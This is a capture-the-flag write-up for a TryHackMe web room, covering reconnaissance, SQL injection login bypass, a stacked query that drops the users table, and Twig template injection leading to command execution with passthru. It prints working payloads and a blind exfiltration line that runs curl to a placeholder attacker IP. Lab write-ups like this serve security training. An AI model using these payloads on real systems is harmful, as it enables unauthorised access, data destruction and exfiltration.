Injectics - Web-pentesting - Tryhackme
Part1: Reconnissance#
Upon Nmap scap at the given target machine, reveals a webserver running at 80.
HTPP Server: Apache/2.4.41 (Ubuntu)
A quick visit on site, reveals it has
- Home Page
- Login Page
- Admin Login Page
Having a look at source of Home page (http://10.49.134.13/index.php), gives some qlues
- Website developed by John Tim- dev@injectics.thm
- Mails are stored in mail.log file
Looking at mail.log (http://10.49.134.13/mail.log)
- John said in mail to superadmins that “I have configured the service to automatically insert default credentials into the
userstable if it is ever deleted or becomes corrupted” - And a default credentials if table
usersis deleted.
| Email | Password | |---------------------------|-------------------------| | superadmin@injectics.thm | superSecurePasswd101 | | dev@injectics.thm | devPasswd123 |- John said in mail to superadmins that “I have configured the service to automatically insert default credentials into the
Did a directory enumeration at root of website using
dirsearch, which uses its own wordlist available at/usr/lib/python3/dist-packages/dirsearch/dbdirectory.dirsearch -u http://10.49.134.13/ -t 20 --async[11:58:21] 200 - 3KB - /phpmyadmin/doc/html/index.html --> docs, honestly no patience to read [11:58:21] 200 - 3KB - /phpmyadmin/index.php --> admin login [11:58:21] 200 - 3KB - /phpmyadmin/ --> same, admin login [11:57:44] 200 - 48B - /composer.json --> theres twig, a template engine, its may be usefull. [11:57:44] 200 - 9KB - /composer.lock --> Many external packages, will be reviewed seperately [11:58:06] 200 - 1KB - /login.php --> Non-admin login [11:58:47] 200 - 1KB - /vendor/composer/LICENSE --> licence file [11:58:47] 200 - 12KB - /vendor/composer/installed.json --> similar to composer.lock [13:10:38] 200 - 22KB - /phpmyadmin/favicon.ico [13:10:46] 200 - 7KB - /phpmyadmin/js/config.js [13:10:46] 402 - 7KB - /flagscomposer.jsonandcomposer.lockreveals- Use of “php”: “>=7.2.5”
symfony/polyfill-ctype@v1.30.0andsymfony/polyfill-mbstring@v1.30.0- A PHP polyfill (provides modern or missing functions to older versions of PHP)
- For example, if your code needs the
ctype_alpha()function but we are running a server that does not havectypeextension installed,symfony/pholyfill-ctypeprovides a php based version of fuctions so app does not crash. - developers are using Symfony polyfills for validations and sanitization. This means the app is likely less vulnerable to injections.
- This also reavels they are suing older versions of PHP.
twig/twig@v2.14.0- A template engine in PHP
- v2.14.0 released late in 2020, it sits right at the transition point where many of “easy” sandbox escapes (like _self.env) were already patched, but several newer filter were being introduced that created fresh oversight.
- By v2.14.0, the _self variable was heavily neutered. In older versions (v1.x), _self.env was the “Holy Grail” for RCE. In 2.14.0, even if you can see _self, it is usually restricted to a Template object that doesn’t allow easy access to the Environment or Loader from within the sandbox.
- This version includes the map, filter, and reduce filters. This is where most modern escapes happen.
/phpmyadmin/index.php- phpMyAdmin is a free, open-source web interface used to manage MySQL and MariaDB databases.
- it is an application that allows you to perform database tasks through your web browser instead of typing complex SQL queries.
- Lets say its GUI for DBMS (eg: MariaDB, mysql)
- Why it is Gold mine? In PHP apps, the credentials to log into phpMyAdmin are usually stored in a .env or config/parameters.yaml
phpmyadmin/doc/html/index.htmlreveals use of phpMyAdmin 4.9.5- Vulnerability: We closely observe at source of login page (/phpmyadmin/index.php), there is a input field named ‘server’ hidden inside of form. Methods such as
offerPrefsAutoimport,savePrefsToLocalStoragein/phpmyadmin/js/config.jsdirectly making use of this server parameter from request data, without proper sanitization. If we can inject the possible payload in this input fieldserver, there is possiblity of accessing the unauthorized resources inside of server. /phpmyadmin/index.php- A loging page - Just a simple trial login with random crdentials discloses use of MySQL DBMS
Part2: Action - Trying to get inside.#
Its really good that we have gathered a lot information.
As it revealed use of mysql, why dont we brute force with possible combinations of mysql paylaods. Yeah, thats really good step to move on.
Quickly downlaods payloads from ‘https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection/Intruder'.
git clone git@github.com:swisskyrepo/PayloadsAllTheThings.git cd "PayloadsAllTheThings/SQL Injection/Intruder/" # combine all paylaods, make sure $HOME/tmp exists ls | grep -i -E "Auth_Bypass" | xargs cat | tee $HOME/tmp/combined_auth_paylaods.txt # lets bruteforce the payloadsFor speed, im using the Zapproxy, lets capture the login request in the zap, and fuzz the username paremeter with the payloads ‘$HOME/tmp/combined_auth_payloads.txt’. Please see below image for the reference.

Lets identify the payload for which we get the unique size of response, different from other payload responses.

Great, now use
1' OR 'x'='x';#the payload to login, and that’s it you are inside now.
Part3: Escalating privilages#
Now, We can see a dashboard, allowing to change few entries in a table.
Just upon injecting a payload
1; select 1, it looking like its successfully executing the second queryselect 1. Here, in this case, we are allowed to run any of the query to escalate privilage.Remembering words from John in his mail “I have configured the service to automatically insert default credentials into the
userstable if it is ever deleted or becomes corrupted”. Ok, lets delete theuserstable, then.1; DROP table users;After some time, service auto inserts default creds into
users, and we will use them to login at http://10.49.179.67/adminLogin007.php.Great, We are escalated privilage to admin now.

Part4: Getting Shell#
In admin dashboard, we have option to update our profile (http://10.49.179.67/update_profile.php)
And this is most common injection point for making use of vulnerability: Server side template injections.
Just by feeding
$ { { < % [ % ' " } } %payload to one of input field in profile update page and see if its giving error in home page. This can easily confirm, hole exists for real.For double check, Lets use
{{7 * 7}}, and see its evaluating to 49 in home page.Remembering “Use of twig/twig@v2.14.0 in composer.json” –> its So, we found the Templete engine.
Just upon running a simple injection
{{ system('ls')}}- it fails withUnknown "system" function in "__string_template__{% include '/etc/passwd' %}–>Template "/etc/passwd" is not defined in "__string_template__Please have a look at the following trials
{{ _context }} #--> Array {{_dump(_context) }} #--> error, it is supposed to list all available vars in _context {{ _self }} #--> _string_template__**** {{ _self.env }} #--> Tag 'import' not allowed in _self value {{ _self.getEnvironment().getLoader() }} #--> import not allowed {{ app.request.query.all }} #--> showing nothing {{ ['id'] }} #--> Array # Code Execution with system {{ system("id")}} #--> Unknown "system" function in "__string_template__ # It takes the array ["id"], maps the PHP function system onto it, and returns the output of system("id") {{["id", 0]|map("system") | join}} #--> The callable passed to the "map" filter must be a Closure in sandbox mode {{["id", 0] | sort("system") | join}} #--> id0The fact that
{{ ["id", 0] | sort("system") | join }}returnedid0means the template is processing your input and attempting to sort, but it’s treating “system” as a string for comparison rather than executing it as a PHP function# As map is being bloked and not working, lets try with other alternatives {{ ["id", 0] | filter("system") | join }} {{["id", 0] | filter("system") | join}} # lets load the files directly {{ source('../../.env') }} {{ source('../config/parameters.yml') }} {{ _self.env.loader.getSourceContext('/etc/passwd').getCode() }} {{ _self.env.getLoader().getSource('/etc/passwd') }} # "Filter" Polyglot (Bypassing the Closure restriction) {{ [1]|reduce("system", "id") }} # Check for the constant function {{ constant('PHP_VERSION') }} {{ constant('STR_PAD_LEFT') }} # The "Execution" through exec or passthru {{ ["id", 0] | sort("passthru") | join }} #---- working ------- {{ ["id", 0] | sort("exec") | join }} {{ ["id", 0] | sort("shell_exec") | join }} #Blind Exfiltration (Last Resort) {{ ["curl http://YOUR_IP/$(id)"] | map("system") }}Get to know after all trials,
{{ ["id", 0] | sort("passthru") | join }}seems to be working.., lets not wait long to get shell.Lets search for flag in the current directory. Remembering [13:10:46] 402 - 7KB - /flags , to which do have not access, but search now for same inside of shell.
{{ ["ls -la", 0] | sort("passthru") | join }} {{ ["ls -la flags", 0] | sort("passthru") | join }} {{ ["cat flags/XXXXXXXXXXXXXXXXXXX.txt", 0] | sort("passthru") | join }}its gives flag, to get CTF to finish.
Thanks for the patience.